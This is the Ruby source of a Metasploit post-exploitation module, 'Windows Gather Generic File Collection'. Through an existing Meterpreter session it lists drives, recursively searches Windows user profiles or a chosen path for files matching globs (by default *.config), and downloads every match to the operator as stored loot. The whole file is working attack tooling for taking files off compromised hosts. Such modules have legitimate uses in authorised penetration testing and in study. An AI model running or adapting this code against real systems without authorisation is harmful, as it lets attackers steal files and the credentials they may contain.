metasploit-framework/modules/post/windows/gather/enum_files.rb

123 lines
3.7 KiB
Ruby

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/auxiliary/report'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Generic File Collection',
'Description' => %q{
This module downloads files recursively based on the FILE_GLOBS option.
},
'License' => MSF_LICENSE,
'Author' =>
[
'3vi1john <Jbabio[at]me.com>',
'RageLtMan <rageltman[at]sempervictus>'
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('SEARCH_FROM', [ false, 'Search from a specific location. Ex. C:\\']),
OptString.new('FILE_GLOBS', [ true, 'The file pattern to search for in a filename', '*.config'])
], self.class)
end
def get_drives
##All Credit Goes to mubix for this railgun-FU
a = client.railgun.kernel32.GetLogicalDrives()["return"]
drives = []
letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
(0..25).each do |i|
test = letters[i,1]
rem = a % (2**(i+1))
if rem > 0
drives << test
a = a - rem
end
end
return drives
end
def download_files(location, file_type)
sysdriv = client.fs.file.expand_path("%SYSTEMDRIVE%")
sysnfo = client.sys.config.sysinfo['OS']
profile_path_old = sysdriv + "\\Documents and Settings\\"
profile_path_new = sysdriv + "\\Users\\"
if location
print_status("Searching #{location}")
getfile = client.fs.file.search(location,file_type,recurse=true,timeout=-1)
elsif sysnfo =~/(Windows XP|2003|.NET)/
print_status("Searching #{profile_path_old} through windows user profile structure")
getfile = client.fs.file.search(profile_path_old,file_type,recurse=true,timeout=-1)
else
# For systems such as: Windows 7|Windows Vista|2008
print_status("Searching #{profile_path_new} through windows user profile structure")
getfile = client.fs.file.search(profile_path_new,file_type,recurse=true,timeout=-1)
end
getfile.each do |file|
filename = "#{file['path']}\\#{file['name']}"
data = read_file(filename)
print_status("Downloading #{file['path']}\\#{file['name']}")
p = store_loot("host.files", 'application/octet-stream', session, data, file['name'], filename)
print_good("#{file['name']} saved as: #{p}")
end
end
def run
# When the location is set, make sure we have a valid path format
location = datastore['SEARCH_FROM']
if location and location !~ /^([a-z])\:[\\|\/].*/i
print_error("Invalid SEARCH_FROM option: #{location}")
return
end
# When the location option is set, make sure we have a valid drive letter
my_drive = $1
drives = get_drives
if location and not drives.include?(my_drive)
print_error("#{my_drive} drive is not available, please try: #{drives.inspect}")
return
end
datastore['FILE_GLOBS'].split(",").each do |glob|
begin
download_files(location, glob.strip)
rescue ::Rex::Post::Meterpreter::RequestError => e
if e.message =~ /The device is not ready/
print_error("#{my_drive} drive is not ready")
next
elsif e.message =~ /The system cannot find the path specified/
print_error("Path does not exist")
next
else
raise e
end
end
end
print_status("Done!")
end
end